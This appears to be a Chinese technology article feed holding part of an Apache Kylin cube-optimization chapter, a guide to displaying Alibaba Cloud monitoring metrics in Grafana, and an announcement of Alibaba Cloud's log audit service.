        每个分组的维度集合是Cube的所有维度的一个子集,分组之间可能有相同的维度,也可能完全没有相同的维度。每个分组各自独立地根据自身的规则产生一批需要被物化的Cuboid,所有分组产生的Cuboid的并集就形成了Cube中全部需要物化的Cuboid。不同的分组有可能会贡献出相同的Cuboid,构建引擎会察觉到这点,并且保证每一个Cuboid无论在多少个分组中出现,都只会被物化一次,如图3-7所示。

        image.png

        举例来说,假设有四个维度A、B、C、D,如果知道业务用户只会进行维度AB的组合查询或维度CD的组合查询,那么该Cube 可以被设计成两个聚合组,分别是聚合组AB和聚合组 CD。如图3-8所示,生成的Cuboid的数量从24=16个缩减成8个。
        image.png
        假设创建了一个分析交易数据的Cube,它包含以下维度:顾客 ID(buyer_id)、交易日期(cal_dt)、付款的方式(pay_type)和买家所在的城市(city)。有时分析师需要通过分组聚合 city 、cal_dt和pay_type 来获知不同消费方式在不同城市的情况;有时分析师需要通过聚合city、cal_dt和buyer_id,来查看不同城市的顾客的消费行为。在上述实例中,推荐建立两个聚合组,包含的维度和方式如图3-9所示。
        聚合组1:包含维度 [cal_dt, city, pay_type]
        聚合组2:包含维度 [cal_dt, city, buyer_id]
        image.png
        可以看到,这样设置聚合组后,组之间会有重合的Cuboid(上图浅灰色部分),对于这些Cuboid只会构建一次。在不考虑其他干扰因素的情况下,这样的聚合组设置将节省不必要的3个Cuboid: [pay_type, buyer_id]、[city, pay_type, buyer_id]和[cal_dt, pay_type, buyer_id],这样就节省了存储资源和构建的执行时间。
        在执行查询时,分几种情况进行讨论:
        情况1(分组维度在同一聚合组中):
        SELECT cal_dt, city, pay_type, count(*) FROM table GROUP BY cal_dt, city, pay_type
        将从Cuboid [cal_dt, city, pay_type]中获取数据。
        情况2(分组维度在两个聚合组交集中):
        SELECT cal_dt, city count(*) FROM table GROUP BY cal_dt, city
        将从Cuboid [cal_dt, city]中获取数据,可以看到这个Cuboid同时属于两个聚合组,这对查询引擎是透明的。
        情况3 如果有一条不常用的查询(分组维度跨越了两个聚合组):
        SELECT pay_type, buyer_id, count(*) FROM table GROUP BY pay_type, buyer_id
        没有现成的完全匹配的Cuboid,此时,Kylin会先找到包含这两个维度的最小的Cuboid,这里是Base Cuboid [pay_type,cal_dt,city,buyer_id],通过在线聚合的方式,从Case Cuboid中计算出最终结果,但会花费较长的时间,甚至有可能造成查询超时。

        3.2.3 必需维度

        如果某个维度在所有查询中都会作为group by或者where中的条件,那么可以把它设置为必需维度(Mandatory),这样在生成Cube时会使所有Cuboid都必须包含这个维度,Cuboid的数量将减少一半。
        通常而言,日期维度在大多数场景下可以作为必需维度,因为一般进行多维分析时都需要设置日期范围。
        再次,如果某个查询不包含必需维度,那么它将基于某个更大的Cuboid进行在线计算以得到结果。

        3.2.4 层级维度

        如果维度之间有层级关系,如国家–省–市这样的层级,我们可以在Cube Designer的Advanced Settings里设置层级维度。注意,需要按从大到小的顺序选择维度。
        查询时通常不会抛开上级节点单独查询下级节点,如国家–省–市的维度组合,查询的组合一般是「国家」「国家,省」「国家,省,市」。因为城市会有重名,所以不会出现「国家,市」或者[市]这样的组合。因此将国家(Country)、省(Province)、市(City)这三个维度设为层级维度后,就只会保留Cuboid[Country, Province,City],[Country, Province],[Country]这三个组合,这样能将三个维度的Cuboid组合数从 8个减至3个。
        层级维度的适用场景主要是一对多的层级关系,如地域层级、机构层级、渠道层级、产品层级。
        如果一个查询没有按照设计来进行,如select Country,City,count(*) from table group by Country,City,那么这里不能回答这个查询的Cuboid会从最接近的Cuboid[Country, Province, City]进行在线计算。显而易见,由于[Country, Province, City]和[Country, City]之间相差的记录数不多,这里在线计算的代价会比较小。

        3.2.5 联合维度

        联合维度(Joint Dimension)一般用在同时查询几个维度的场景,它是一个比较强力的维度剪枝工具,往往能把Cuboid的总数降低几个数量级。
        举例来说,如果用户的业务场景中总是同时进行A、B、C三个维度的查询分析,而不会出现聚合A、B或者聚合C这些更上卷的维度组合,那么这类场景就是联合维度所适合的。可以将维度 A、B和C定义为联合维度,Kylin就仅仅会构建Cuboid [A,B,C],而Cuboid A,B [A]等都不会被生成。最终的Cube结果如图3-10所示,Cuboid的数量从16个减至4个。

        image.png

        假设创建一个交易数据的Cube,它具有很多普通的维度,像是交易日期cal_dt、交易的城市city、顾客性别sex_id和支付类型pay_type等。分析师常用的分析总是同时聚合交易日期cal_dt、交易的城市city 和顾客性别sex_id,有时可能希望根据支付类型进行过滤,有时又希望看到所有支付类型下的结果。那么,在上述实例中,推荐设立一组聚合组,并建立一组联合维度,所包含的维度和组合方式下:
        聚合组(Aggregation Group):[cal_dt, city, sex_id,pay_type]
        联合维度(Joint Dimension): [cal_dt, city, sex_id]
        情况1(查询包含所有的联合维度):
        SELECT cal_dt, city, sex_id, count(*) FROM table GROUP BY cal_dt, city, sex_id
        它将从Cuboid [cal_dt, city, sex_id]中直接获取数据。
        情况2(如果有一条不常用的查询,只聚合了部分联合维度):
        SELECT cal_dt, city, count(*) FROM table GROUP BY cal_dt, city
        没有现成的完全匹配的 Cuboid,Kylin会通过在线计算的方式,从现有的 Cuboid [cal_dt, city, sex_id中计算出最终结果。
        联合维度的适用场景:

        • 维度经常同时在查询where或group by条件中同时出现,甚至本来就是一一对应的,如customer_id和customer_name,将它们组成一个联合维度。
        • 将若干个低基数(建议每个维度基数不超过10,总的基数叉乘结果小于10000)的维度合并组成一个了联合维度,可以大大减少Cuboid的数量,利用在线计算能力,虽然会在查询时多耗费有限的时间,但相比能减少的存储空间和构建时间而言是值得的。
        • 必要时可以将两个有强关系的高基维度组成一个联合维度,如合同日期和入账日期。
        • 可以将查询时很少使用的若干维度组成一个联合维度,在少数查询场景中承受在线计算的额外时间消耗,但能大大减少存储空间和构建时间。

        以上这些维度剪枝操作都可以在Cube Designer的Advanced Setting中的Aggregation Groups区域完成,如图3-11所示。
        image.png
        从图3-11中可以看到,目前Cube中只有一个分组,点击左下角的 “New Aggregation Group”按钮可以添加一个新的分组。在某一分组内,首先需要指定这个分组包含(Include)哪些维度,然后才可以进行必需维度、层级维度和联合维度的创建。除了“Include”选项,其他三项都是可选的。此外,还可以设置“Max Dimension Combination”(默认为0,即不加限制),该设置表示对聚合组的查询最多包含几个维度,注意一组层级维度或联合维度计为一个维度。在生成聚合组时会不生成超过“Max Dimension Combination”中设置的数量的Cuboid,因此可以有效减少Cuboid的总数。
        聚合组的设计非常灵活,甚至可以用来描述一些极端的设计。假设我们的业务需求非常单一,只需要某几个特定的Cuboid,那么可以创建多个聚合组,每个聚合组代表一个Cuboid。具体的方法是在聚合组中先包含某个Cuboid所需的所有维度,然后把这些维度都设置为强制维度。这样当前的聚合组就只包含我们想要的那一个Cuboid了。
        再如,有时我们的Cube中有一些基数非常大的维度,如果不做特殊处理,它会和其他维度进行各种组合,从而产生大量包含它的Cuboid。所有包含高基数维度的Cuboid在行数和体积上都会非常庞大,这会导致整个Cube的膨胀率过大。如果根据业务需求知道这个高基数的维度只会与若干个维度(而不是所有维度)同时被查询,那么就可以通过聚合组对这个高基数维度做一定的“隔离”。
        我们把这个高基数的维度放入一个单独的聚合组,再把所有可能会与这个高基数维度一起被查询到的其他维度也放进来。这样,这个高基数的维度就被“隔离”在一个聚合组中了,所有不会与它一起被查询到的维度都不会和它一起出现在任何一个分组中,也就不会有多余的Cuboid产生。这大大减少了包含该高基数维度的Cuboid的数量,可以有效地控制Cube的膨胀率。

        3.3 并发粒度优化

        当Segment中的某一个Cuboid 的大小超出一定阈值时,系统会将该Cuboid的数据分片到多个分区中,以实现Cuboid数据读取的并行化,从而优化Cube的查询速度。具体的实现方式如下。
        构建引擎根据Segment估计的大小,以及参数“kylin.hbase.region.cut”的设置决定Segment在存储引擎中总共需要几个分区来存储,如果存储引擎是HBase,那么分区数量就对应HBase中的Region的数量。kylin.hbase.region.cut的默认值是5.0,单位是吉字节(GB),也就是说,对于一个大小估计是50GB的Segment,构建引擎会给它分配10个分区。用户还可以通过设置kylin.hbase.region.count.min(默认为1)和kylin.hbase.region.count.max(默认为500)两个配置来决定每个Segment最少或最多被划分成多少个分区。
        由于每个Cube的并发粒度控制不尽相同,建议在Cube Designer的Configuration Overwrites中为每个Cube量身定制控制并发粒度的参数。在下面的例子中,将把当前Cube的kylin.hbase.region.count.min设置为2,把kylin.hbase.region.count.max设置为100,如图3-12所示。这样,无论Segment的大小如何变化,它的分区数量最小不会低于2,最大不会超过100。相应地,这个Segment背后的存储引擎(HBase)为了存储这个Segment,也不会使用小于2个或者超过100个分区(Region)。我们将kylin.hbase.region.cut调整为1,这样,50GB的Segment基本上会被分配到50个分区,相比默认设置,我们的Cuboid可能最多会获得5倍的并发量。
        image.png

        3.4 Rowkey优化

        前面章节的侧重点是减少Cube中Cuboid的数量,以优化Cube的存储空间和构建性能,统称以减少Cuboid的数量为目的的优化为Cuboid剪枝。在本节中,将重点通过对Cube的Rowkey的设置来优化Cube的查询性能。
        Cube的每个Cuboid中都包含大量的行,每个行又分为Rowkey和Measure两个部分。每行Cuboid数据中的Rowkey都包含当前Cuboid中所有维度的值的组合。Rowkey中的各个维度按照Cube Designer→Advanced Setting→RowKeys中设置的顺序和编码进行组织,如图3-13所示。
        image.png
        在Rowkeys设置页面中,每个维度都有几项关键的配置,下面将一一道来。

        3.4.1 调整Rowkey顺序

        在Cube Designer→Advanced Setting→Rowkeys部分,可以上下拖动每一个维度来调节维度在Rowkey中的顺序。这种顺序对于查询非常重要,因为目前在实现中,Kylin会把所有的维度按照显示的顺序黏合成一个完整的Rowkey,并且按照这个Rowkey升序排列Cuboid中所有的行,参照前一章的图2-16。
        不难发现,对排序靠前的维度进行过滤的效果会非常好,比如在图2-16中的Cuboid中,如果对D1进行过滤,它是严格按照顺序进行排列的;如果对D3进行过滤,它仅是在D1相同时在组内顺序排列的。
        如果在一个比较靠后的维度进行过滤,那么这个过滤的执行就会非常复杂。以目前的HBase存储引擎为例,Cube的Rowkey就对应HBase中的Rowkey,是一段字节数组。我们目前没有创建单独的每个维度上的倒排索引,因此对于在比较靠后的维度上的过滤条件,只能依靠HBase的Fuzzy Key Filter来执行。尽管HBase做了大量相应的优化,但是在对靠后的字节运用Fuzzy Key Filter时,一旦前面维度的基数很大,Fuzzy Key Filter的寻找代价就会很高,执行效率就会降低。所以,在调整Rowkey的顺序时需要遵循以下几个原则:

        • 有可能在查询中被用作过滤条件的维度,应当放在其他维度的前面。
          a) 对于多个可能用作过滤条件的维度,基数高的(意味着用它进行过滤时,较多的行被过滤,返回的结果集较小)更适合放在前面;

        b) 总体而言,可以用下面这个公式给维度打分,得分越高的维度越应该放在前排:
        排序评分=维度出现在过滤条件中的概率*用该维度进行过滤时可以过滤掉的记录数。

        • 将经常出现在查询中的维度,放在不经常出现的维度的前面,这样,在需要进行后聚合的场景中查询效率会更高。
        • 对于不会出现在过滤条件中的维度,按照其基数的高低,优先将低基数的维度放在Rowkey的后面。这是因为在逐层构建Cuboid、确定Cuboid的生成树时,Kylin会优先选择Rowkey后面的维度所在的父Cuboid来生成子Cuboid,那么基数越低的维度,包含它的父Cuboid的行数就越少,聚合生成子Cuboid的代价就越小。

        3.4.2 选择合适的维度编码

        2.4.3节介绍过,Apache Kylin 支持多种维度编码方式,用户可以针对数据特征,选择合适的编码方式,从而减小数据的存储空间。在具体使用过程中,如果用错了编码方式,可能会导致构建和查询的一系列问题。这里要注意的事项包括:

        • 字典(Dictionary)编码(默认的编码)不适用于高基数维度(基数值在300万以上)。主要原因是,字典需要在单节点内存中构建,并在查询的时候加载到Kylin内存;过大的字典不但会使得构建变慢,还会在查询时占用很多内存,导致查询缓慢或失败,因此应该避免对高基数维度使用字典编码。如果实际中遇到高基数维度,首先思考此维度是否要引入Cube中,是否应该先对其进行泛化(Generalization),使其变成一个低基数维度;其次,如果一定要使用,那么可以使用Fixed_length编码,或Integer(如果这列的值是整型)编码。
        • Fixed_length编码是最简单的编码,它通过补上空字符(如果维度值长度小于指定长度))或截断(如果维度值长度大于指定长度),从而将所有值都变成等长,然后拼接到Rowkey中。它比较适合于像身份证号、手机号这样的等长值维度。如果某个维度长度变化区间比较大,那么你需要选择一个合适的长度:长度过短会导致数据截断从而失去准确性,长度过长则导致空间浪费。

        3.4.3 按维度分片

        在3.3节中介绍过,系统会对Cuboid中的数据在存储时进行分片处理。默认情况下,Cuboid的分片策略是对于所有列进行哈希计算后随机分配的。也就是说,我们无法控制Cuboid的哪些行会被分到同一个分片中。这种默认的方法固然能够提高读取的并发程度,但是它仍然有优化的空间。按维度分片提供了一种更加高效的分片策略,那就是按照某个特定维度进行分片(Shard By Dimension)。简单地说,当你选取了一个维度用于分片后,如果Cuboid中的某两行在该维度上的值相同,那么无论这个Cuboid最终被划分成多少个分片,这两行数据必然会被分配到同一个分片中。
        这种分片策略对查询有着极大的好处。我们知道,Cuboid的每个分片会被分配到存储引擎的不同物理机器上。Kylin在读取Cuboid数据的时候会向存储引擎的若干机器发送读取的RPC请求。在RPC请求接收端,存储引擎会读取本机的分片数据,并在进行一定的预处理后发送RPC回应(如图3-14所示)。以HBase存储引擎为例,不同的Region代表不同的Cuboid分片,在读取Cuboid数据的时候,HBase会为每个Region开启一个Coprocessor实例来处理查询引擎的请求。查询引擎将查询条件和分组条件作为请求参数的一部分发送到Coprocessor中,Coprocessor就能够在返回结果之前对当前分片的数据做一定的预聚合(这里的预聚合不是Cube构建的预聚合,是针对特定查询的深度的预聚合)。
        image.png
        如果按照维度划分分片,假设是按照一个基数比较高的维度seller_id进行分片的,那么在这种情况下,每个分片承担一部分seller_id,各个分片不会有相同的seller_id。所有按照seller_id分组(group by seller_id)的查询都会变得更加高效,因为每个分片预聚合的结果会更加专注于某些seller_id,使得分片返回结果的数量大大减少,查询引擎端也无须对各个分片的结果做分片间的聚合。按维度分片也能让过滤条件的执行更加高效,因为由于按维度分片,每个分片的数据都更加“整洁”,便于查找和索引。

        3.5 Top_N度量优化

        在生活中我们总能看到“世界500强公司” “销量最好的十款汽车”等标题的新闻报道,Top_N 分析是数据分析场景中常见的需求。在大数据时代,由于明细数据集越来越大,这种需求越来越明显。在没有预计算的情况下,得到一个分布式大数据集的 Top_N 结果需要很长时间,导致点对点查询的效率很低。
        Kylin v1.5以后的版本中引入了 Top_N 度量,意在进行Cube 构建的时候预计算好需要的 Top_N,在查询阶段就可以迅速地获取并返回Top_N记录。这样,查询性能就远远高于没有Top_N预计算结果的Cube,方便分析师对这类数据进行查询。
        这里的 Top_N 度量是一个近似的实现,如你想要了解其近似度,需要在本节之后的内容中更多地了解 Top_N 背后的算法和数据分布结构。
        让我们用Kylin中通过sample.sh生成的项目“learn_kylin” 对Top_N进行说明。我们将重点使用其中的事实表“kylin_sales”。
        这张样例表 “default.kylin_sales” 模拟了在线集市的交易数据,内含多个维度和度量列。这里仅用其中的四列即可:“PART_DT” “LSTG_SITE_ID” “SELLER_ID”和“PRICE”。表3-1所示为这些列的内容和基数简介,显而易见 “SELLER_ID” 是一个高基列。
        image.png
        假设电商公司需要查询特定时段内,特定站点交易额最高的100位卖家。查询语句如下:

        SELECT SELLER_ID, SUM(PRICE) FROM KYLIN_SALES
         WHERE 
            PART_DT >= date'2012-02-18' AND PART_DT < date'2013-03-18' 
               AND LSTG_SITE_ID in (0) 
            group by SELLER_ID 
            order by SUM(PRICE) DESC limit 100

        方法1:在不设置Top_N度量的情况下,为了支持这个查询,在创建Cube时设计如下:定义“PART_DT”“LSTG_SITE_ID”“SELLER_ID”作为维度,同时定义 “SUM(PRICE) ”作为度量。Cube 构建完成之后,Base Cuboid 如表3-2所示。
        image.png
        假设这些维度是彼此独立的,则Base Cuboid中行数为各维度基数的乘积:730 50 1 million = 36.5 billion = 365亿。其他包含“SELLER_ID”字段的Cuboid也至少有百万行。由此可知,由“SELLER_ID”作为维度会使得Cube的膨胀率很高,如果维度更多或基数更高,则情况更糟。但真正的挑战不止如此。
        我们可能还会发现上面那个SQL查询并不能正常执行,或者需要花费特别长的时间,原因是这个查询拥有太大的在线计算量。假设你想查30天内site_00销售额排前100名的卖家,则查询引擎会从存储引擎中读取约3000万行记录,然后按销售额进行在线排序计算(排序无法用到预计算结果),最终返回排前100名的卖家。由于其中的关键步骤没有进行预计算,因此虽然最终结果只有100行,但计算耗时非常长,且内存和其中的控制器都在查询时被严重消耗了。
        反思以上过程,业务关注的只是销售额最大的那些卖家,而我们存储了所有的(100万)卖家,且在存储时是根据卖家ID而不是业务需要的销售额进行排序的,因此在线计算量非常大,因而此处有很大的优化空间。
        方法2:为了得到同一查询结果。如果在创建Cube时,对需要的Top_N进行了预计算,则查询会更加高效。如果在创建Cube时设计如下:不定义“SELLER_ID”为维度,仅定义“PART_DT”“LSTG_SITE_ID”为维度,同时定义一个Top_N度量,如图3-15所示。
        image.png
        “PRICE”定义在“ORDER|SUM by Column”,“SELLER_ID”定义在“Group by Column”。
        新Cube的Base Cuboid 如表3-3所示,Top_N度量的单元格中存储了按seller_id进行聚合且按sum(price) 倒序排列的seller_id和sum(price)的组合。
        image.png
        image.png
        现在Base Cuboid中只有730 * 50 = 36500行。在度量的单元格中,预计算的Top_N结果以倒序的方式存储在一个容器中,而序列尾端的记录已经被过滤掉。
        现在,对于上面那个Top_100 seller的查询语句,只需要从内存中读取30行,Kylin将会从Top_N Measure的容器中抽出“SELLER_ID”和“SUM(PRICE)”,然后将其返回客户端(并且是已经完成排序的)。现在查询结果就能以亚秒级返回了。
        一般来说,Kylin在Top_N的单元格中会存储100倍的Top_N定义的返回类型的记录数,如对于Top100,就存储10000条seller00xxxx:xx.xx记录。这样一来,对于Base Cuboid的Top_N查询总是精确的,不精确的情况会出现在对于其他Cuboid的查询上。举例来说,对于Cuboid[PART_DT],Kylin会将所有日期相同而站点不同的TOP_N单元格进行合并,这个合并后的结果会是近似的,尤其是在各个站点的前几名卖家相差较多的情况下。比如,如果site_00中排第100名的卖家在其他站点中都排在第10000名以后,那么它的Top_N记录在其他站点都会被舍去,Kylin在合并TOP_N Measure时发现其他站点里没有这个卖家的值,于是会赋予这个卖家在其他站点中的sum(price)一个估计值,这个估计值既可能比实际值高,也可能比实际值低,最后它在Cuboid[PART_DT]中的Top_N单元格中存储的是一个近似值。

        3.6 Cube Planner优化

        Kylin自v2.3.0以后的版本引入了Cube Planner功能,自动地对Cube的结构进行优化。如图3-16所示,在用户定义的Aggregation Group等手动优化基础上,Cube Planner能根据每个Cuboid的大小和它对整个Cube产生的查询增益,结合历史查询数据对Cuboid进行进
        image.png
        一步剪枝。Cube Planner使用贪心算法和基因算法排除不重要和不必要的Cuboid,不对这些Cuboid进行预计算,从而大大减少计算量、节约存储空间,从而提高查询效率。
        Cube Planner优化分为两个阶段。第一阶段发生在初次构建Cube时:Cube Planner会利用在“Extract Fact Table Distinct Columns”步骤中得到的采样数据,预估每个Cuboid的大小,进而计算出每个Cuboid的效益比(该Cuboid的查询成本 / 对应维度组合物化后对整个Cube的所有查询能减少的查询成本)。Cube Planner只会对那些效益比更高的维度组合进行预计算,而舍弃那些效益比更低的维度组合。第二阶段作用于已经运行一段时间的Cube。在这一阶段,Cube Planner会从System Cube中获取该Cube的查询统计数据,并根据被查询命中的概率给Cuboid赋予一定权重。当用户触发对Cube的优化操作时,那些几乎不被查询命中的Cuboid会被删除,而那些被频繁查询却尚未被预计算出的Cuboid则会被计算并更新到Cube中。
        在Kylin v2.5.0及以后的版本中,Cube Planner默认开启,第一阶段的过程对用户透明,而使用第二阶段则需要事先配置System Cube并由用户手动触发优化。关于Cube Planner的具体实现原理、使用方法及相关配置会在本书第6章中详述。

        3.7 其他优化

        3.7.1 降低度量精度

        有一些度量有多种精度可供选择,但是精度较高的度量往往需要付出额外的代价,这就意味着更大的空间占用和更多的运行及构建成本。以近似值的Count Distinct度量为例,Kylin提供多种精度的选择,让我们选择其中几种进行对比,如表3-4所示。
        image.png
        从表3-4中可以看出,HLLC 16类型占用的空间是精度最低的类型的64倍!而即使是精度最低的Count Distinct度量也已经非常占用空间了。因此,当业务可以接受较低精度时,用户应当考虑Cube空间方面的影响,尽量选择低精度的度量。

        3.7.2 及时清理无用Segment

        第4章提及,随着增量构建出来的Segment慢慢累积,Cube的查询性能将会下降,因为每次跨Segment查询都需要从存储引擎中读取每一个Segment的数据,并且在查询引擎中对不同Segment的数据进行再聚合,这对于查询引擎和存储引擎来说都是巨大的压力。从这个角度来说,及时使用第4章介绍的Segment碎片清理方法,有助于优化Cube的使用效率。

        3.8 小结

        本章从多个角度介绍了Cube的优化方法:从Cuboid剪枝的角度、从并发粒度控制的角度、从Rowkey设计的角度,还有从度量精度选择的角度。总的来说,Cube优化需要Cube管理员对Kylin有较为深刻的理解和认识,这也无形中提高了使用和管理Kylin的门槛。对此,我们在较新的Kylin版本中通过对数据分布和查询样式的历史进行分析,自动化一部分优化操作,帮助用户更加方便地管理Kylin中的数据,详见第6章。长度“12”

        ]]>
        使用 Grafana 展示阿里云监控指标 Fri, 02 May 2025 09:39:04 +0800 前言

        对于阿里云用户来说,阿里云监控是一个很不错的产品,首先它在配额内使用是免费的!免费的!免费的!重要的事情说三遍。他的功能类似于 zabbix,但是比 zabbix 提供了更多的监控项,基本上在云上使用的资源都可以通过云监控来实时监控。而它提供的开箱即用方式,天然集成云资源,并提供多种告警方式,免去了监控与告警系统搭建与维护的繁琐,并且减少了资源的消耗,比购买 ECS 自己搭建 zabbix 要少消耗很多资源。同时阿里云监控和阿里云其他服务一样,也提供了比较完整的 OpenApi 以及各种语言的 sdk,可以基于阿里云的 OpenApi 将其与自己的系统集成。我们之前也是这么做的,但是随着监控项的增加,以及经常需要在办公场地监控投屏的专项监控页,光凭我们的运维开发工程师使用 vue 写速度明显跟不上,而且页面的美观程度也差很多。

        手写前端 VS Grafana

        手写前端虽然可定制化程度更高,但是需要消耗大量精力进行调试,对于运维人员,哪怕是运维开发也是吃不消的(前端小哥哥和小姐姐是不会来帮你的,下图就是我去年拿 vue 写的伪 Grafana 展示页面,花费了大约一周时间在调整这些前端元素)。
        image

        Grafana 则标准化程度很高,展示也更加符合大众审美,某些定制化需求可以通过自定义 DataSource 或者 AJAX 插件的 iframe 模式完成。开发后端 DataSource 肯定就没有前端调整 css 那么痛苦和耗时了,整体配置开发一个这样的页面可能只消耗一人天就能完成。而在新产品上线时,构建一个专项监控展示页面速度就更快了,几分钟内就能完成。
        image

        关于阿里云监控

        云监控(CloudMonitor)是一项针对阿里云资源和互联网应用进行监控的服务。

        云监控为云上用户提供开箱即用的企业级开放型一站式监控解决方案。涵盖 IT 设施基础监控,外网网络质量拨测监控,基于事件、自定义指标、日志的业务监控。为您全方位提供更高效、更全面、更省钱的监控服务。通过提供跨产品、跨地域的应用分组管理模型和报警模板,帮助您快速构建支持几十种云产品、管理数万实例的高效监控报警管理体系。通过提供 Dashboard,帮助您快速构建自定义业务监控大盘。使用云监控,不但可以帮助您提升您的系统服务可用时长,还可以降低企业 IT 运维监控成本。

        云监控服务可用于收集获取阿里云资源的监控指标或用户自定义的监控指标,探测服务可用性,以及针对指标设置警报。使您全面了解阿里云上的资源使用情况、业务的运行状况和健康度,并及时收到异常报警做出反应,保证应用程序顺畅运行。

        关于 Grafana

        Grafana 是一个跨平台的开源的度量分析和可视化工具,可以通过将采集的数据查询然后可视化的展示,并及时通知。由于云监控的 Grafana 还没有支持告警,所以我们这里只用了 Grafana 的可视化功能,而告警本身就是云监控自带的,所以也不需要依赖 Grafana 来实现。而我们的 Prometheus 也使用了 Grafana 进行数据可视化,所以有现成的 Grafana-Server 使用。

        阿里云监控对接 Grafana

        首先 Grafana 服务的部署方式这里就不做介绍了,请使用较新版本的 Grafana,最好是 5.5.0+。后文中也有我开源的基于阿里云云监控的 Grafana 的 helm chart,可以使用 helm 安装,并会直接导入云监控的指标,这个会在后文中介绍。

        安装阿里云监控插件

        进入插件目录进行安装

        cd /var/lib/grafana/plugins/
        git clone https://github.com/aliyun/aliyun-cms-grafana.git 
        service grafana-server restart

        如果是使用 docker 或者部署在 k8s 集群,这里也可以使用环境变量在 Grafana 部署的时候进行安装

        ...
        spec:
          containers:
          - env:
            - name: GF_INSTALL_PLUGINS  # 多个插件请使用,隔开
              value: grafana-simple-json-datasource,https://github.com/aliyun/aliyun-cms-grafana/archive/master.zip;aliyun-cms-grafana
        ...

        您也可以下载 aliyun-cms-grafana.zip 插件解压后,上传服务器的 Grafana 的 plugins 目录下,重启 grafana-server 即可。

        配置云监控 DataSource

        1. Grafana 启动后,进入 Configuration 页面,选择 DataSource Tab 页,单击右上方的Add data source,添加数据源。
        2. 选中CMS Grafana Service,单击select
          image
        3. 填写配置项,URL 根据云监控所在地域填写,并且填写阿里云账号的 accessKeyId 和 accessSecret,完成后单击Save&Test
          image

        创建 Dashboard

        1. 单击 Create -> Dashboard -> Add Query
        2. 配置图标,数据源选择之前添加的 CMS Grafana Service,然后文档中的配置项填入指标即可(这里要注意的是,云监控 API 给返回的只有实例 ID,并没有自定义的实例名称,这里需要手动将其填入 Y - column describe 中;而且只支持输入单个 Dimension,若输入多个,默认选第一个,由于这些问题才有了后续我开发的 cms-grafana-builder 的动机)。
          image
        3. 配置参考 云产品监控项
          image

        使用 helm chart 的方式部署 Grafana

        项目地址:https://github.com/sunny0826/cms-grafana-builder

        cms-grafana-builder

        由于上文中的问题,我们需要手动选择每个实例 ID 到 Dimension 中,并且还要讲该实例的名称键入 Y - column describe 中,十分的繁琐,根本不可能大批量的输入。

        这就是我开发这个 Grafana 指标参数生成器的原因,起初只是一个 python 脚本,用来将我们要监控的指标组装成一个 Grafana 可以使用 json 文件,之后结合 Grafana 的容器化部署方法,将其做成了一个 helm chart。可以在启动的时候自动将需要的参数生成,并且每日会对所有指标进行更新,这样就不用每次新购或者释放掉资源后还需要再跑一遍脚本。

        部署

        只需要将项目拉取下来运行 helm install 命令

        helm install my-release kk-grafana-cms 
        --namespace {your_namespace} 
        --set access_key_id={your_access_key_id} 
        --set access_secret={your_access_secret} 
        --set region_id={your_aliyun_region_id} 
        --set password={admin_password}

        更多详情见 github README,欢迎提 issue 交流。

        指标选择

        在部署成功后,可修改 ConfigMap:grafana-cms-metric,然后修改对应的监控指标项。

        效果

        ECS:

        RDS:

        EIP:

        Redis:

        后记

        为了满足公司需求,后续还开发 DataSource 定制部分,用于公司监控大屏的展示,这部分是另一个项目,不在这个项目里,就不细说了,之后有机会总结后再进行分享。

        ]]>
        简化云上等保,阿里云发布日志审计服务(公测) Fri, 02 May 2025 09:39:04 +0800

        阿里云日志服务作为行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。目前发布日志审计服务功能,提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。

        背景

        日志审计是法律刚性需求

        无论海内外,尤其国内自从2017年《网络安全法》还是今年《等保2.0》的即将与12月实施,企业落实日志审计变得越迫切.
        image

        日志审计是客户安全合规依赖基础

        很多企业自身有很成熟的法规条例以及合规审计团队,针对账号设备操作,网络行为进行审计,也需要对日志审计。一方面客户有成熟的内部合规团队,可以直接消费原生各类日志;客户也可以直接使用日志审计服务提供的审计支持,直接构建并输出合规审计信息;如果客户有安全中心(SOC)可以直接消费日志审计中日志,也可以直接使用阿里云安全中心。
        image

        日志审计是安全防护的重要一环

        根据FileEye M-Trends 2018报告,企业安全防护管理能力薄弱,亚太地区尤甚间,企业组织的攻击从发生到发现所需时长平均101天,而亚太平均需要498天;其中发现后的验证平均需要58天。很显然,需要长期、可靠、无篡改的日志记录与审计支持下,来持续缩短这个时间。

        日志服务与日志审计服务App

        日志服务与审计场景

        SLS作为行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。一直很好的支持日志服务场景相关场景:DevOps、运营、安全、审计.
        image

        典型日志审计场景

        根据我们支持客户的反馈来看,日志审计可以分成如下4层需求,越往上越高级。
        image

        说明

        1. 基础需求是大部分中小企业客户需要的自动化采集存储日志的功能,他们主要的诉求是满足等保2.0最低的需求,并脱离手工去维护。
        2. 高级需求的是跨国公司、大公司以及部分中型客户,他们往往多个部门之间独立结算,并且在使用阿里云的账号上各自隔离。但是在审计的时候,却需要自动化的统一采集相关日志,他们的主要诉求除了上述外,额外需要能够中心化的采集日志、并支持多个账号的简单管理。这部分公司往往有自己的审计系统,因此对日志审计的需求是能够实时、简单的对接。
        3. 再高一级的需求是有专门合规团队的大公司,他们需要针对日志进行监控、告警和分析的需求,一部分客户可以直接采集同步数据到期专门的审计系统中去操作. 一部分尤其是计划在云上搭建一套新的审计系统的客户, 可以直接使用日志服务提供的审计支持(查询, 分析, 告警, 可视化等)进行审计操作.
        4. 最顶上的客户往往是拥有专业成熟审计合规团队的大公司, 一般其都拥有自己的一套SOC或审计系统, 核心需求是对接数据进行统一操作.
          针对以上4类客户, 日志服务的日志审计服务都可以比较好的满足.

        日志审计服务App

        日志审计服务以日志服务的App形式存在,将于11月初发布,并公测到12月底,公测期间App免费,数据存储、读写流量等按标准按量收费
        提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。
        image

        产品技术功能与优势

        优势

        • 完整数据采集:产品覆盖所有审计相关日志自动化采集(可接入20+产品)
        • 配置简单与自动化:跨多主账号、自动实时发现新资源并实时采集。一键式配置(一期支持6个)。
        • 丰富建模与分析功能:借助SLS查询分析、加工、报表、告警、导出等功能,完整支持审计场景下分析告警对接需求
        • 低成本存储:利用对象存储、冷备等介质保证低成本
        • 丰富生态:与开源、阿里云大数据、第三方SOC软件无缝对接,充分发挥数据价值

        功能
        image

        区域与产品覆盖
